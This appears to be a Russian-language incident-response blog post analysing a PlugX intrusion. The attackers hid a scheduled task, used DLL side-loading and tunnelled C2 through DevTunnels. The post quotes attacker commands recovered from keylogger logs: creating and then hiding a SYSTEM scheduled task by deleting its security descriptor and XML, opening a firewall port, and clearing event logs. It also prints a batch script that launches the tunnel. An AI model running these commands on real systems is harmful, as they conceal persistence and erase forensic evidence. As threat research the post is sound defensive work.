[ << ALL_FEED ]

Operation Tartaria — PlugX 🤝 DevTunnels

Ещё в группе «Общее»

Operation Tartaria — PlugX 🤝 DevTunnels

В конце мая завершился PHDays Fest, в рамках которого на треке Defense команда 4RAYS рассказала про особенности работы планировщика задач Windows.

Практика команды PT ESC IR показывает, что закрепление через скрытые задачи — действительно достаточно редкий способ маскировки целевой атаки, но и в наших проектах мы периодически его встречаем. Расследуя инцидент в начале 2025 года, мы обнаружили скрытую задачу в дампе (триаже) на одном из узлов в скомпрометированной инфраструктуре. Для обнаружения подобных задач PT-Dumper проставляет ключи IsHiddenTask (удален SD — Security Descriptor) и IsMissingOnFS (XML отсутствует в файловой системе).

{"TaskId":"[REDACTED]","TaskName":"7zup_Server","TaskRegistryPath":"\\7zup_Server","TaskAuthor":"[REDACTED]","IsHiddenTask":true,"IsMissingOnFS":true,"Action":{"Context":"Author","Properties":[{"Id":"","ActionName":"Execution","Arguments":"-remote up","Command":"C:\\PROGRA~1\\7-Zip\\7zUp.exe","WorkingDirectory":"","Flags":0}],"Version":3},"Triggers":[{"TriggerType":"Boot","Comment":"Boot"}],"CreatedTime":"2025-01-12T06:25:32Z","LastRunTime":"2025-06-18T18:17:23Z","LastErrorCode":"","Timeline":"2025-01-12T06:25:32Z"}
Code language: JSON / JSON with Comments (json)


Задача запускала 7zUp.exe, который оказался уязвимым для техники DLL Side-Loading нативным отладчиком CDB.exe. При старте отладчик загружает вредоносную библиотеку dbgeng.dll, упакованную пакером VMProtect с кастомным названием секций.

Зашифрованная нагрузка обновленного PlugX доставляется в полезной нагрузке шеллкода manifest.txt, накрытого однобайтовым XOR. Аналогичная версия PlugX была описана в статье. Интересно отметить, что в полезной нагрузке затерты байты заголовков MZ и PE, хотя вся остальная структура заголовка сохранена.

PlugX при старте записывает свой идентификатор в ключ реестра — HKLM\SOFTWARE\Clients\Mail\cf. Этот образец разделен на два логических модуля: один выполняет команды, другой является коннектором. Реализовано это посредством внедрения кода в процессы wksprt.exe и explorer.exe. Модули общаются через pipe \\.\PIPE\X<PID>. В найденных PlugX соединение с С2-сервером (0.0.0.0:53, 0.0.0.0:5355) было установлено через TCP, что указывает на более облегченную версию этого инструмента.

Помимо запуска пассивного PlugX мы обнаружили задачу, которая запускает исполняемый файл C:\Windows\System32\oobe\Setup.exe.

<Exec>
      <Command>C:\Windows\System32\oobe\Setup.exe</Command>
      <Arguments>/ui</Arguments>
    </Exec>
Code language: plaintext (plaintext)


Оказалось, что каждый раз, когда при старте Setup.exe возникает ошибка, запускается скрипт C:\Windows\Setup\Scripts\ErrorHandler.cmd. Подобная техника описана в блоге. В нашем случае атакующие запускали devNetwork.exe, который является туннелем DevTunnels.

@echo off
taskkill /im devNetwork.exe /f
timeout /t 5 /nobreak >nul
C:\ProgramData\NetWorks\devNetwork.exe host [REDACTED]
timeout /t 2 /nobreak >nul
exit
Code language: YAML (yaml)


Таким образом атакующие, продвигаясь по сети, заражали системы пассивным бэкдором PlugX, а коммуникация с С2-сервером происходила с использованием легитимной утилиты DevTunnels.

Fun fact: при старте PlugX запускает кейлоггер, который является одним из плагинов и записывает нажатие клавиш в файл C:\Users\[REDACTED]\AppData\Roaming\ntuser.dat.LOG1 и буфер обмена в файл C:\Users\[REDACTED]\AppData\Roaming\ntuser.dat.LOG2. Изучив эти журналы, мы обнаружили ряд команд, которые выполняли атакующие в ходе развития атаки и продвижения по инфраструктуре:

schtasks /create /RL HIGHEST /F /tn "7zup_Server" /tr "C:\PROGRA~1\7-Zip\7zUp.exe -remote up" /sc onstart /RU SYSTEM
schtasks /run /tn 7zup_Server
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\7zup_Server" /v SD /f
del %SystemRoot%\System32\Tasks\7zup_Server /f 
...
Code language: plaintext (plaintext)


whoami /groups
netsh advfirewall firewall add rule name="WinDeviceSync" protocol=TCP dir=in localport=5355 action=allow
wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" /q:true /ow:true /backup:false 
nslookup autodiscover.<yourdomain>.com
...
Code language: Intel x86 Assembly (x86asm)


Stay tuned!

#dfir #ti #apt #reverse #malware
@ptescalator

Ещё от oUth0R

Ещё от oUth0R

Ещё в группе «Общее»